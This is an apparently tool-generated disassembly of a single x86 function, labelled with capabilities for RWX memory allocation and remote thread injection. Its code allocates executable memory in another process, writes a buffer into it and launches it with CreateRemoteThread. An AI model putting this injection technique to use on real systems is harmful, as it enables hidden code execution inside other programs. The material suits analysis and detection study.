Function at 0x1005877b
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
cmp dword [0x10118b28], 0
je 0x100587b7
mov eax, 0
jmp 0x10058bb2
cmp dword [ebp + 8], 0
jne 0x100587d0
mov eax, 0xffffffff
jmp 0x10058bb2
cmp dword [ebp + 8], 0xffffffff
jne 0x100587f1
push dword [ebp + 0xc]
call fcn.10058bb8
mov eax, 0
jmp 0x10058bb2
mov eax, 0x100f234f
xor ecx, ecx
test eax, eax
je 0x100587ff
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
xor ebx, ebx
test eax, eax
je 0x10058812
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10058829
dec eax
test ecx, ecx
je 0x10058829
call fcn.10007569
add esp, 0xc
test eax, eax
jne 0x10058843
mov eax, 0xffffffff
jmp 0x10058bb2
mov dword [0x10118b28], 1
push htons
push 0
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebx]
test eax, eax
jne 0x10058862
mov eax, 0x100f234f
push eax
push 1
mov ebx, 0x194
call fcn.100926d0
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jne 0x100588c1
push 0x101160cd
mov ebx, dword [ebp + 0xc]
push dword [ebx]
push 0x101160d9
mov ecx, 3
call fcn.1001588c
add esp, 0xc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp + 0xc]
mov ebx, dword [ebx]
test ebx, ebx
je 0x100588b7
push ebx
call fcn.100910d6
add esp, 4
pop eax
mov ebx, dword [ebp + 0xc]
mov dword [ebx], eax
add dword [ebp - 4], 6
fild dword [ebp - 4]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x101144fd]
fstp qword [ebp - 0x20]
mov dword [ebp - 0x24], esp
push 0x40
push 0x1000
fld qword [ebp - 0x20]
call fcn.1000175f
push eax
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
cmp dword [ebp - 0x24], esp
je 0x10058917
push 0x2ca
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10058938
mov dword [0x10118b28], 0
mov eax, 0xfffffffe
jmp 0x10058bb2
push 0x101160e3
mov ebx, dword [ebp + 0xc]
push dword [ebx]
mov ecx, 2
call fcn.1001588c
add esp, 8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0
push dword [ebp - 4]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x10058967
add eax, 8
push eax
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x10058994
push 0x3c9
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x100589a7
push ebx
call fcn.100910d6
add esp, 4
cmp dword [ebp - 0x1c], 0
jne 0x100589fe
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x100589ea
push 0x428
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [0x10118b28], 0
mov eax, 0xfffffffd
jmp 0x10058bb2
mov dword [ebp - 0x14], esp
push 0x100f22a0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10058a2c
push 0x4d4
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], esp
push str.CallWindowProcA
push dword [ebp - 0x18]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
nop
cmp dword [ebp - 0x1c], esp
je 0x10058a60
push 0x4d4
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], esp
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10058ab0
push 0x527
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10058b0a
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10058af6
push 0x5aa
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [0x10118b28], 0
mov eax, 0xfffffffc
jmp 0x10058bb2
mov dword [ebp - 0x14], esp
push 0xffffffff
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10058b3b
push 0x62b
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x14], esp
push 0x8000
push 0
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10058b74
push 0x64e
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [ebp - 0x14], esp
push dword [ebp - 0x10]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10058ba0
push 0x681
push 0x40f8c41
push 6
call fcn.100910e2
add esp, 0xc
mov dword [0x10118b28], 0
mov eax, dword [ebp - 8]
jmp 0x10058bb2
mov esp, ebp
pop ebp
ret 8